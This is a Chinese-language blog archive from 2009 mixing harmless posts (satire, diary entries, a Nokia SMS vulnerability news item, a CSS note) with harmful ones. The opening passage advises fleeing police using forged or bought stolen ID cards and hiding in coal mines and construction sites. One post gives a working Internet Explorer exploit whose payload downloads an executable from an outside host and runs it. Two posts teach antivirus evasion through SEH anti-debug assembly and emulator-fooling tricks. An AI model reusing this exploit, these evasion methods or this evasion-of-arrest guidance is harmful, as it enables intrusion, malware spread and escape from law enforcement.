关于坐汽车跑路,汽车又分长途和短途汽车,长途汽车一般发车目的明确,距离虽然远,一般都是走高速公路,但是可能就在几个地方停,所以万一暴露始发地点,目的地很快就会暴露,缩小警察叔叔的追捕范围。但是长途汽车暴露时间短,接触的人也少,这个可以适当考虑,当然,坐长途汽车,你可以不到达目的地下车,可以在某一路段下车,然后在路上拦一些跑长途的货车,搭个顺风车,有钱的话适当的给车主一些钱,他们还是乐意带你的,当然,这个要看人品和运气了。短途汽车,安检比较松一些,目的地短,经常换乘,迂回主动性比较强,但是由于暴露时间长,接触的人多,人多眼杂,也容易被发现,需慎重考虑……

另外一个走公路考虑的就是租车,找个人给他一些钱,去租赁公司租一辆车,走小路开,这样暴露的可能性就很小,安全系数高一些,这个是公路最佳出行方案……

走水路,全国跑路要走水路的地方貌似不多,内陆无非就是从重庆到珠江三角洲走水路,外围就是从广西,湛江,珠海,广州,青岛,南京,天津,海南,大连等城市坐船,不过这个危险系数高,非常,极度不推荐……

第三,跑路中的身份伪造

跑路过程中一定不能用自己的真实身份证,这样很快就会被警察叔叔盯上的。在外面不管住店还是什么的,都是需要身份证的。至少要有三张或者三张以上身份证。至于身份证的来源,大致有两种。办证广告遍布全国各地,更有亚洲办证集团公司,每个城市的天桥下都有专门给人办证的,只要你想要的,没有办不出来的,50 块钱一张身份证,200块钱办的比真的都还真,随便花点钱,都可以给你办出来一打。另外一个就是找你当地的贼头,这个需要一些关系,他们手头一般都有别人的身份证,花点钱,从他们手里买个两三张真正的身份证还不是什么问题的,当然,要找和你长的比较相近的,年龄差别不大的,不要连性别都搞混淆了。

第四,跑路过程中的住

跑路绝对是一个长期的过程,在这里肯定要考虑到住。你不能一直在路上跑啊,总有累的时候,需要一个落脚点。住当然是短期的住,跑路不可能在一个地方呆的时间太长,除非是绝对的安全,当然绝对的安全是不存在的。首先住有几点方案推荐
1. 对于经济条件和安全性来考虑,3星级以上的宾馆推荐住,因为这些地方一般都是比较正规的地方。一般不会有警察过去查房或者抓赌博嫖娼什么的,星级越高,安全系数越高,有些地方的五星级宾馆一般都是政府招待单位,除非有特殊情况,否则警察叔叔是不会贸然去查房的。另外一个就是当地政府招待所或者宾馆,这些地方,警察也是避之不及的。安全系数更高。不过要注意尽量避开监控设备,最好带着帽子什么的进去,用假身份证开房。
2。就是大一点的洗浴中心之类的娱乐场所,这些地方,一般都是有社会背景的人开的,越大,后台越硬。这些地方一般都提供免费住宿,因为是洗浴的地方,只有入口等处有监控设备,其他的地方不会有的,进去洗浴又不需要身份证,降低了安全风险,何况里面吃喝洗住玩一条龙服务,在里面呆上十天半个月,没人会管你的,不过建议还是不要常呆,否则引起怀疑,会带警察过来找你的。
3.找一些农家乐,现在的很多农家乐都提供住宿服务,当然农家乐里面不会有监控什么的,管理上虽然登记但是和其他地方相比,还是要松懈的多,警察也一般不会没事跑那么远去查房,在里面住上三五天,还不是什么问题,何况农家乐一般都远离市区和农村,信息交流不是那么及时,安全性相对较高……
4,一些小旅馆之类的不推荐入住,因为这个会经常被警察叔叔查房,另外人多眼杂,安全系数极度不高,不过学校周围的小旅馆相对来说安全一些,因为毕竟里面都是开房的学生居多。警察叔叔也是心知肚明,除非是缺钱花了或者是学校联手想去查房,否则一般不会去的,可以考虑短期入住。
5,最落魄最省钱的住,可以考虑和流浪汉或者拾荒者住在烂尾楼或者桥洞下面,一般城市都有烂尾楼,里面一般都聚集这流浪汉或者拾荒者。这里一般情况下警察是不会清查的,何况一般的烂尾楼外面都是大门紧锁。突然多出来一两个陌生人,他们也不会过多关注,只要你不和他抢地盘,他是不会找你麻烦的,也没人想招惹麻烦,所以在那里呆上十天半个月,相对来说还是比较安全的,这种方式推荐落魄期住……

第五,关于隐

古人云,大隐隐于市。看来古人也明白,真正的高手都是隐藏在市井中的。所以我们也不可避免,遵循古训。目前来说,人员管理混乱的地方就是建筑工地之类的地方,因为建筑啊工地人员流动大,登记管理上也有很多薄弱环节,拿着假身份证出去登记一下,基本上就可以在里面干活了。大一点的建筑工地可能会在一个地方呆上一年多,然后再转战其他地方。警察叔叔不可能每天没事就往建筑工地上跑,至于工程项目组的他们最多也就是知道包工头的人数和名字,至于包工头下面有多少人,恐怕只有包工头自己清楚,也就是在开工和发薪水的时候清点一下人数。所以相对来说,还是比较安全的,另外一个工地上的人都是来自五湖四海的,没有谁会问起谁是干嘛的。

切忌往农村跑,不要以为农村偏远就安全了,其实这个观念是错误的。至少来说,现在在偏远的农村,都是和外界有联系的,很多都是几辈子土生土长的原生居民。突然多了一个陌生人,这个都是他们茶余饭后的谈资。农村人爱扎堆聊天,时间长了这些消息会传的很远,很可能就会传到当地警察叔叔的耳朵了。地方再偏远,也是party的管辖范围,有村支部之类组织的说,很快就会暴露身份。

另外一个地方就是,矿山,林场之类的。矿山我就不多说了。云南,陕西,山西,河南,内蒙古,四川都有煤矿或者其他矿产,当然,最好的是隐于煤矿,这个一只脚踏进阎王殿的职业,内蒙古或者平顶山的露天煤矿就不要考虑了,这样隐不住,会露出狐狸尾巴的。最好就是往山西或者陕西跑,小煤矿众多,矿主不会把统计名单送到公安局的,除非他想关门大吉。人数报的越少越好,这样万一出了事故死人了,可以隐瞒死亡人数,减少麻烦。也正符合了你隐的条件,不过你要做好心理准备,不是什么非在这里隐不可的情况,就没必要来这里拿生命开玩笑,毕竟你跑路的目的也是为了活命或者其他的。小命都没了,还谈什么隐……

林场也会招一些临时工人,这些也不会统计上报的公安机关的,短期的隐,在那里干个半年几个月的,不会有什么问题的。适合短期的隐……,这个适合往东北跑,大兴安岭那边适合隐,如果运气好,隐一辈子不是什么问题。
渔港码头就不要考虑什么隐了,因为海事局和海警会不定期的走访什么的,人员普查的比较严格,很容易被警察叔叔抓现行……

一月 11th, 2009

Posted In: 未分类

测试成功,会运行计算器,只是利用起来有点 … …
这个漏洞是由于微软IE浏览器启动“Print Table of Links”时引起的跨站攻击(Cross-Zone Scripting )

如果启用了 "Print Table of Links",在打印一个网页的时候,能够导致执行任意代码。

1.选择“Print Table of Links”选项

2.把保存以下代码为HTML格式,用IE打开,并打印,会执行calc.exe。
[code]


Print me with table of links to execute calc.exe
var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');a.com">


[/code]

以下代码自动下载http://www.blogjava.net/Files/baicker/calc.rar文件到c:改名为test.exe,然后执行test.exe


点击选项,选中打印链表列表,点打印
[code]
var ForWriting = 2; var strFile = 'c:\test2.js'; var objFSO = new ActiveXObject('Scripting.FileSystemObject'); var objStream = objFSO.OpenTextFile(strFile,ForWriting,true,false); objStream.WriteLine('var objArgs = 'http://www.blogjava.net/Files/baicker/calc.rar';'); objStream.WriteLine('var objargss ='c:\\test.exe';'); objStream.WriteLine('var sGet=new ActiveXObject('ADODB.Stream');'); objStream.WriteLine('var xGet = false;'); objStream.WriteLine('try {'); objStream.WriteLine('xGet = new XMLHttpRequest();'); objStream.WriteLine('} '); objStream.WriteLine('catch (trymicrosoft) {'); objStream.WriteLine('try {'); objStream.WriteLine(' xGet = new ActiveXObject('Msxml2.XMLHTTP');'); objStream.WriteLine('} '); objStream.WriteLine('catch (othermicrosoft) {'); objStream.WriteLine(' try {'); objStream.WriteLine(' xGet = new ActiveXObject('Microsoft.XMLHTTP');'); objStream.WriteLine(' } '); objStream.WriteLine('catch (failed) {'); objStream.WriteLine(' xGet = false;'); objStream.WriteLine(' }'); objStream.WriteLine('}'); objStream.WriteLine('}'); objStream.WriteLine('xGet.Open ('GET',objArgs.toLowerCase(),0);'); objStream.WriteLine('xGet.Send();'); objStream.WriteLine('sGet.Mode=3;'); objStream.WriteLine('sGet.Type=1;'); objStream.WriteLine('sGet.Open();'); objStream.WriteLine('sGet.Write (xGet.ResponseBody);'); objStream.WriteLine('sGet.SaveToFile (objargss.toLowerCase(),2);'); objStream.WriteLine('var x=new ActiveXObject('WScript.Shell');'); objStream.WriteLine('x.Run(objargss);'); objStream.Close(); var objShell = new ActiveXObject('wscript.shell'); objShell.Run(strFile); a.com">


[/code]

一月 9th, 2009

Posted In: 未分类

1.脚穿仿匡威款式的无牌鞋~!
2.身穿无款式无质量无品牌只有个性的五彩衣服,掉裆裤~!
3.用的手机绝对花俏,绝对杂牌~!
4.绝对热爱网络,从开始的挂QQ热追逐到踩空间热,QQ名字和QQ空间一定搞得非常花俏~!
5.05年他们喜欢叫“D调的华丽”之类的名字~!
6.06年他们喜欢诸如这些符号的名字: ˙.& .o.灬 他们感觉这有飘逸感~!
7.07年他们喜欢叫“侽孓,女子,什么此男子~~~,此女子~~~,她们就喜欢这种安妮宝贝笔锋下的网名~!
8.她们喜欢照相,她们却不懂摄像专业,只会拿着手机摄像头和视频照自己~!
9.她们照相喜欢嘟着嘴巴,自己本来就胖,嘟起来显得更胖,那就岷嘴!把眼睛使劲的睁大掩盖自己的脸丑,如果自己还是很丑,只有用PS加两个红腮在脸上,这样就占了脸大半空间,再丑都看起来可爱~!
以上是装可爱型,是非主流女人的最爱
下面是装B型,多半是男人的最爱
10.她们是这样的:把脸转过去用侧脸来掩盖自己的脸丑,镜头从上面下面左面右面背面……反正就是不从正面打过来。造成自己一种空虚,寂寞的美,旁边多半还有字,什么“我的寂寞,与你无关”什么“这男子伤透了心“什么“给你的爱其实一直都在,只是你不知道而已”当然肯定是用繁体和符号错综复杂的摆放这些字~!
11.她们学习不可能好,家庭肯定也不怎么好,因为好背景的家庭绝对不会调教出所谓FZL的孩子,好的家庭背景的人家,品位绝对不会如此低俗,既然他们学习不好,家庭不好,可以说他们一生的风光也就是在14-19岁,过了19岁他们基本都明白自己的无知,同样是人生的短暂风光,这个时间却比泰国人妖还短,可悲的是泰国人妖收入比他们丰厚多了~更可悲的是泰国人妖是靠自己赚钱来让自己风光,而他们还是靠父母的钱~!

一月 8th, 2009

Posted In: 未分类

猪通过勤劳致富有5元钱存在老鼠开的钱庄里。
猪打算拿这5元钱建一个小窝,大盖要花2元卖地,花3元搭窝。
王八是搞工程的,他想在猪身上挣更多的钱,于是找来当投资顾问的狐狸想办法,
狐狸说:这好办。于是找来管地盘的狼,开钱庄的老鼠一起来商议,结果王八从老鼠那里借来200元,用100元买了狼的地,花了3元把猪窝盖好,花了50元给了狐狸咨询服务费,
猪没有地,只好求王八把窝卖给它,王八要价500元,老猪说只有5元买不起,
这时候狐狸说服猪去向老鼠借钱,老鼠答应借500给猪,前提是要他连本带利还600元,可以分10年还清,
并且产权证拿来抵押。结果成交。猪到最后花了600元买来了猪窝,比他原来的计划高了110倍,
猪努力了十年去挣钱还贷。在这场交易里面,狼,老鼠,狐狸还有王八都挣了钱。
以后他们就如法炮制。更多的猪去贷款买房子了,这时候,当商人的驴看到有机可乘,到老鼠那里贷了好多好多的款,把王八盖的房子都买下来,然后以更高的价格卖给了猪。
猪的还贷期就越来越长,吃的越来越差,小猪崽子也不敢生了。由于猪的数目越来越少,
狼觉得这样下去自己没有猪肉吃了,非饿死不可,于是开始调控,不让老鼠再借钱了。
但是王八还没有停止盖房,把自己挣的钱和贷的钱全投入生产了。驴手上的猪窝囤积的很多,卖不动了被套牢了。
结果,老鼠,王八,还有驴都挣了好多的猪窝。
钱到最后集中到狼手上。如今,谁都等着狼把钱拿出来救命。于是4万亿救市的资金就这么出来了!!

一月 8th, 2009

Posted In: 未分类

事实就是这样,这次的教训会在下一次的事情中体现出来,这就是我们所讲的进步,也正是这样,我的第一段感情输的很辙底,输的一无所有,所有的计划,所有的事情就在那一舜间成为泡影,人常常会因为很多事情多走很多跑,感情这块谁都走过,只是谁能输到最后,有多少人可以输的起,欲擒故纵更厉害,很多事情很多时候,或许越急越不能成功,只能冷静下来分析一下事情失改的原因,我们,就是在一起的时间太少,能真正了解的时间太少,一切来的太匆忙,快的有点让人不知所措,努力,在努力,一切都只是过去,想能赢得这次比赛,只以能不段的提升自己,只有这样才能让自己变的强大,让自己的目标更远,一起努力

一月 7th, 2009

Posted In: 未分类

2009年,如果你还是只注重PC以及网络的安全,那就孤陋寡闻了。新年的第一天,手机行业就出现了严重的安全危机。手机全球市场份额近五成的诺基亚手机被曝出严重漏洞,影响其旗下所有的S60平台机型。而利用这个漏洞进行攻击仅仅只需要给诺记的S60手机发送一条数个字符的短信。

就在数日之前,诺基亚兴许还在嘲笑MTK的“短信门”事件,岂知世事难料,现在的诺基亚只怕是再也笑不出来了。

起源 – 任何人都会的攻击

2008 年12月30日,德国安全研究人员托拜厄斯·恩格尔(Tobias Engel)向我们展示了一则恶意短信,内容很简单,后果很严重。恩格尔称,任何一款诺基亚手机都可以发送这种恶意短信。一旦某款智能手机被感染,那么该款手机将无法接收更多短信。恩格尔将这种攻击方式称之为“默默诅咒”,可对运行Symbian OS系统的诺基亚S60智能手机发送攻击。据悉,S60 2.6和3.0智能手机在收到第一条信息之后就锁死,而2.8和3.1在接收11条后锁死。据芬兰互联网安全厂商F-Secure称,运行UIQ软件的索尼爱立信手机也存在该漏洞。

很快,国外某著名视频网站曝出诺基亚S60平台智能手机的短信功能假死漏洞的演示视频。在浏览视频之后,我们CBSi的编辑马上进行了简单测试,结果很不幸,危害很巨大,S60平台手机没有任何收到短信的提示,但是此时短信其实已经送达目标手机,目标手机这时陷入了已经不能收短信,也不能发短信的状态。

症状 – 短信收发异常

关键字:表面无异常,无法收发短信

以上的两个关键字正是中招手机的典型症状。经过我们的整理,中毒之后的手机主要有以下几种的表现形式,在不同的手机上可能会出现不同的具体形式:

1. 可以打开短信收件箱,但是用其他任何品牌手机给目标手机发送短信,无法送达,目标手机无法发送短信。

2. 进入短信收件箱,提示“内存不足,请先删除一些短信”之类的信息,但删除所有短信之后(或者无法操作收件箱),仍然不能收发新短信。

3. 部分机型收到1-11条不等的该病毒短信之后手机锁死,无法操作。

如果你的诺记S60平台手机出现了以上症状,那么请一定注意,很有可能你的手机也遭受到了不幸。

影响机型 – 涉及众多S60手机

受到影响的机型为S60平台,以下为具体的影响机型列表:

S60 3rd Edition, Feature Pack 1 (S60 3.1):
Nokia E90 Communicator
Nokia E71
Nokia E66
Nokia E51
Nokia N95 8GB
Nokia N95
Nokia N82
Nokia N81 8GB
Nokia N81
Nokia N76
Nokia 6290
Nokia 6124 classic
Nokia 6121 classic
Nokia 6120 classic
Nokia 6110 Navigator
Nokia 5700 XpressMusic

S60 3rd Edition, initial release (S60 3.0):
Nokia E70
Nokia E65
Nokia E62
Nokia E61i
Nokia E61
Nokia E60
Nokia E50
Nokia N93i
Nokia N93
Nokia N92
Nokia N91 8GB
Nokia N91
Nokia N80
Nokia N77
Nokia N73
Nokia N71
Nokia 5500
Nokia 3250

S60 2nd Edition, Feature Pack 3 (S60 2.8):
Nokia N90
Nokia N72
Nokia N70

S60 2nd Edition, Feature Pack 2 (S60 2.6):
Nokia 6682
Nokia 6681
Nokia 6680
Nokia 6630

解决方案 – 被动防御,等待官方更新

目前诺基亚官方尚未发布修补改补丁的新版本固件,如果您的手机目前还正常,请务必开启短信防火墙,拒绝陌生人短信,同时,为了避免来自通讯录中联系人的攻击,ZDNet安全频道强烈建议你安装诺基亚和F-Secure推出的保护程序,直到诺基亚推出新固件为止。

对于已经受到威胁的手机用户,可以在 这里 下载漏洞修复补丁。

安装完补丁程序之后请重启手机,然后打开该专杀补丁进行扫描,手机即可恢复正常

诺基亚S60短信漏洞修复补丁(非官方)点击下载此文件

一月 6th, 2009

Posted In: 未分类

写了很常时间的CSS,才发现DIV+CSS并不是那么难控制,记得写第一个页面,可以说是写的面目全非,只知道这么写就行,很多东西根本控制不住,总是显示的位置不是自己想要的位置,这些常弄的我晕头转向不知道要怎么弄,时间长了才发现原来只要把有些参数去掉,然后要用的时候在加上就可以了,就像我同事常给我讲,写代码不要总是这么规定的写,要像水一样,所有的东西都是活的,就是么个方法去写,刚开始只会用DIV,ul ,li,后来习惯用dl .dt.dd,这些东西只能在慢慢的写的过程中才会有何会,什么时候我要怎么样来写,才会使代码更简单,其实一种方法也能写出这种效果,只怕你写完后自己都有些看不懂,最重要的就是标注,一定要有标注这才是最重要的,下次要改一个东西找一个标注所有的就全明白了,别写到最后代码是代码,你是你,自己都分不清这块是从那来的,或是说这块是控制那部分,使以后页面修改的时候不知道如何去最快的方法修改完成,常常弄的头都大还找不着北,现在所有的页面都不会在用dr dt来写,我只会用div+css,只能说方便使用

一月 6th, 2009

Posted In: 未分类

晚上下班回家,一个人挺烦,做好饭做好菜,一个人在客厅呆着,拿着本本,打开电视,却被一个声音吸引过去,原来虽然音调很熟,可是歌词全变了,原来又是一个网络歌曲,房子降价了,是呀,如今的这社会,80后有多少能自己挣钱买房的,好像很少很少,像我一个朋友说的一句话,日子总是要过的,可这日子怎么过了,每个人都有自己的生活方式,谁也管不了,可是一般情况下都喜欢评论几句别人的生活方式,就像今天看到的一个文章一样,虽然只是发了一个标题没有贴图,那也是别人的生活,不要把别人当小白鼠,我的生活方式,一切自己说了算,请别让我改变我的生活方式,我有自己的想法,每个人都有,也请大家不要去改变自己的生活方式,做到永远不后悔,60岁喝茶的时候想想现在,一切都是按自己的目标走下去
何不是一件乐事

一月 5th, 2009

Posted In: 未分类

核心提示:据国外网站曝料,章子怡与老外男友在国外度假,俩人在沙滩上大晒恩爱,章子怡身穿红色比基尼,娇小身材显露无遗。

出于网络转载就不贴图了,大家想看的话可以去新浪或是网易上去看,总共图片有81张,呵

一月 5th, 2009

Posted In: 未分类

在百度里面有这样的一段介绍:
  启发式:简化虚拟机和简化行为判断引擎的结合
  Heuristic(启发式技术=启发式扫描+启发式监控)
  重点在于特征值识别技术上的更新、解决单一特征码比对的缺陷。目的不在于检测所有的未知病毒,只是对特征值扫描技术的补充。
  主要针对:木马、间谍、后门、下载者、已知病毒(PE病毒)的变种。
  启发式技术是基于特征值扫描技术上的升级,与传统反病毒特征值扫描技术相比,优点在于对未知病毒的防御。是特征值识别技术质的飞跃。
  传统反病毒特征值扫描技术,由反病毒样本分析专家通过逆向反编译技术,使用反编译器(ollydbg、ida、trw等)来检查可疑样本文件是否存在恶意代码,从而判定程序文件是否属于正常程序或病毒、恶意软件。在确认程序为病毒、恶意软件后,不同的安全厂商根据自己的标准对此可疑程序样本进行特征提取和样本命名(不同安全厂商有自己规定的特征提取点和样本命名规则)。最后经过测试部门测试通过后,更新到服务器,提供用户的本地病毒库更新。在用户操作系统正常监控或用户手动扫描后,利用杀毒引擎对系统上的文件自动进行特征值提取并与病毒库中已存特征值比对,条件符合即比对结果为真时,即判断此文件为病毒库中记录的特征值对应的病毒名称的病毒(恶意软件)。
  病毒、恶意软件通常最初的指令是直接读写磁盘操作、解码指令,或获取系统目录 (GetSystemDirctory)、获取磁盘类型(GetDriveType)、打开服务管理器(OpenSCManager)等相关操作指令序列。这些都是病毒样本分析专家分析中得到的经验。
  启发式技术,在原有的特征值识别技术基础上,根据反病毒样本分析专家总结的分析可疑程序样本经验(移植入反病毒程序),在没有符合特征值比对时,根据反编译后程序代码所调用的win32API函数情况(特征组合、出现频率等)判断程序的具体目的是否为病毒、恶意软件,符合判断条件即报警提示用户发现可疑程序,达到防御未知病毒、恶意软件的目的。解决了单一通过特征值比对存在的缺陷。
  例如:一个可疑程序通过反病毒杀毒引擎反编译后,发现代码中自动释放可执行文件驻留系统目录、伪装系统文件、注册win32服务获取系统管理权限、通过命令行删除自身文件,调用系统组件svchost.exe来开启后门服务,隐藏自身进程并尝试通过OpenSCManagerA、 OpenServiceA、ControlService等函数来开启系统自身的终端服务,以便进一步控制计算机。通过这些条件即可判断为恶意软件(后门程序)。
~~~~~~~~~~~~~~
说简单点,我的认为就是,OD这种动态调试与杀毒的结合。
那么什么是反启发呢?
我也说不清楚~~~~~~
我的愚见就是反启发就是让杀软不能跟踪下去,
不能找到你的恶意代码,
那么SEH又是什么呢?
简单的说,
它就是结构化异常处理(Structured Exception Handling,SEH)是Windows操作系统处理程序错误或异常的技术。SEH是Windows操作系统的一种系统机制,与特定的程序设计语言无关。

如果你有兴趣还可以去看看这两篇文章:
http://www.pediy.com/bbshtml/bbs4/kanxue310.htm
http://www.pediy.com/bbshtml/BBS4/kanxue370.htm
SEH暗桩就是利用这个原理,
在进行动态跟踪时,会跳到别的位置去,但是实际上程序不会。
Understand?

下面我就为大家发一个SEH暗桩的代码~~

push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
mov esi,0
mov eax,dword ptr ds:[esi]

其中*********的地方是你要跳转的地址
把这些连起来当成跳转用就行了,
具体效果自己进OD单步看吧
大家只要稍稍变异一下,
就可以过很多了。。

全部可见:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
mov esi,0
mov eax,dword ptr ds:[esi]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
mov ebx,0
div ebx
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
nop
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
int 3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
nop
int 68
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
nop
vxdcall 134543
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ********
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push xxx
push dword ptr fs:[0]
mov fs:[0], esp
stc
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push xxx
push dword ptr fs:[0]
mov fs:[0], esp
JMP 0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push xxx
push dword ptr fs:[0]
mov fs:[0], esp
ret
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push xxx
push dword ptr fs:[0]
mov fs:[0], esp
pop ss

一月 5th, 2009

Posted In: 未分类

说真的启发式杀毒这东西挺招人讨厌的,不好免杀….
理论上,启发式扫描可以发现任何一种新的病毒。但这仅仅是指理论上,因为代码仿真不可能达到对真实CUP的100%模拟,所以该技术并不能毫无遗漏的检测出每一个病毒。所以说,寻找启发式引擎的缺陷然后利用它们就成了做免杀的目标和责任。我下面所要谈的就是如何利用不同的手段欺骗并把这些启发式引擎玩弄于手掌之间。
大家掌声鼓励…..
.Thunderbyte Antivirus 在早期,这被认为是最好的扫描器了,但现在,它已经被认是很一般的了,至少在"启发式检测"(其实仅是特定的字符串描)方面如此。但在其它方面它附带了很多实用的扫描器(checksummer, cleaner, memory resident utilities这个尤其是utilities这个我觉得最好了…)。顺便说一下,每个人都会有自己喜欢的不同版本,7.xx版本就不错。因为这个版本可以让制定自己的扫描方式,这一点很重要,假设你自己不小心感染了自己的机器。(某人:你以为谁都和你一样苯吗…..)

.AVP:在我认为全部的启发式扫描器当中,AVP确实是比较难忽悠的一个。我是用的版本是version 3.0 有喜欢的可以下一个
.NOD和AVP一样优秀,我钟爱的一个。
===============================我是可恶的分割线====================================

传说中的思路
我的所有说的欺骗手段,都是基于同样的思路的:那就是病毒是加密的,我们要在扫描器能解密出病毒体前停止仿真代码的执行,或者在扫描过程中隐藏我们的加密密钥。如果你仍然没有使用加密的方式,密钥隐藏手段也是可以使用的,在“加密”的调用方式中(例如,int 21h 中断的值),简单的说这样打开一个文件的操作,虽然我没有测试过这种方式。(某人:你很邪恶…没测试过就来忽悠X子)
mov ax, 3D02h ;0x3D02 是密钥
add ax, key
int 21h

通过指令预取反跟踪技术:
早期的处理器,像386或者486都使用了指令队列预期技术来提高代码执行效率。这一技术的本质就是,当CPU将要执行一条指令时,它已经将该指令预先读到了CPU的cache中了。所以在此之前的修改对CPU来说已经没有影响了。让我们一起来看一个这样的例子:
mov word ptr cs:[offset piq], 20CDh
piq:
nop
nop

如果你稍微懂点汇编就应该会想到这个程序将结束运行,因为两个字节的nop 指令会被覆盖为 int 20h(风暴提示:int 20h 是返回DOS的指令)。但在386或486的机器上去并非如此,因为nop指令已经在cpu的cache中了。但在Pentium/Pentium II 体系的机器中运行时,指令则会被覆盖,程序执行后退出。
如果你想利用这一特性来对抗启发式检测技术的话,你就必须知道在386或者486年代这是一种应用广泛的对抗启发式检测的手段。但是随着AVs的改进,他们已经加入了对指令预期技术的支持。这是不是件很不可思议的事情呢,他们仿真的东西竟是不存于现在的处理器当中的。让我们会过头来看看刚才的例子,这是我们用来对付他们的,在 pentium 或者更高级别的处理上面,像我所说的那样,程序会终止,因为这些处理器没有使用PIQ技术。但大部分的AVs会继续让代码执行那两个nops,因为他们要仿真PIQ。所有这块我们得这样做:

mov word ptr [offset prefetch], 06C7h
prefetch:
int 20h
dw offset decrypt_key
dw key

int 20h 指令将被覆盖,替换它的将是下面的指令
mov word ptr [decrypt_key], key

基于对PIQ的考虑,AVs将终止程序的执行。但实际上我们的程序将继续运行,在我们的加密处理函数中设置密钥。我们仅存在一个问题,那就是我们的代码要运行在Pentiums或更高级别的处理器上面。为了使之兼容486系列或更低一些处理器,我们还得清除掉PIQ之间的两条指令。

没有什么比这更简单的了吧,当然,你也要知道清除所有jump类指令(jmp, call, loop, int…)之间的PIQ(风暴天气预告:这一点是必需的,如果你想这样做的话)。但是我们不能简单的处理JMP Short $+2之间的指令,对于清除PIQ来说它应该是正常被执行的,因为代码仿真器是会察觉到这一点的。很遗憾….

但是我们可以使用这样一个很特殊的功能—CPU的陷阱标志(某人:你是不是WOW玩多了..)。如果这个标志被置位,那么其后的任何指令执行都将触发 int 1 的中断调用,X子们请记住这样会清除PIQ。这通常都是在的调试状态下,1号中断向量只是简单的 IRET,所以这里我们可以使用没有任何问题。无论如何,执行后再次清除陷阱标志都是个很好的主意。下面展示的代码可以运行在任何处理器上(assumes DS = CS)。(众人:我们要WAR3….)

pushf ;flags on the stack
pop ax ;flags from stack into AX
or ax, 100000000b ;set trap flag
push ax ;put the modified flags in AX back…
popf ;into the flag register via the stack

mov word ptr [offset prefetch], 06C7h ;modify the following instruction
prefetch: ;here gets int1 called => clears PIQ
int 20h ;This is never executed
dw offset decrypt_key ;where we want to write our key to
dw key ;the actual decryption key

pushf ;clear the trap flag again with
pop ax ;the same method as above.
xor ax, 100000000b ;will also fool some debuggers
push ax
popf

mov word ptr [offset prefetch], 20CDh ;restore the int20h (next generations)
这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon's. f-prot v2.27 and Ikarus的检测。另一方面我们也可以欺骗”正常的“使用PIQ手段(是泼你凉水的时候了,这个在现在的CPU上是不能用的)。

你还可以使用不同类型的循环,或者像Opic's Odessa-B virus那样的手法,非常长的一个解密循环。这里就不多提了…..(众人:再懒,咔嚓了你……)

这篇文章里所说的这些技术目前为止经我的测试都可以正常运行。当然AVs也可能改进它们的一些不足,在未来使这些方式失效。所以说请大家继续参与并完善这个文章
然后说说 EOP 方式:
仿真器肯定不会很有耐心地执行完程序的每一条指令,只要你的病毒所在宿主程序入口点足够的靠后,那你就胜利了一半,仿真器会因失去耐心而丢下你不管的。此时我想到了ExitProcess,聪明的你肯定明白了接下来将要干什么了,当然,当你知道这样做的时候,AV已经开始行动了,但关键是我们已经找到了一种对抗的思路,不是吗?
当然,还有一些抗技巧比如利用MMX指令或利用API传递控制等,但因这些技巧本身不会对启发式检测构成绝对威胁我也就不易一一举例了(好吧,我承认我是个懒人….)。
=================================结尾分割线======================================
启发式杀毒虽然目前说是对抗病毒的利器,但我一直感觉越是复杂越是高级的检测技术反而越脆弱,脆弱的原因就是太过于复杂,所谓智者千虑必有一失就是这么说的吧。在没有加密、没有多态病毒出现前,特征匹配技术对待病毒可以说是一剑封喉。也许越是简单的技术越是无懈可击。一次偶然间发现NOD可以仅用高级侦测模式,检测出被感染的文件,并精确的给出病毒名。才深深的发现或许启发式检测加适量的特征才应该是对抗病毒的最好武器吧

一月 5th, 2009

Posted In: 未分类

下一页 »

无觅相关文章插件,快速提升流量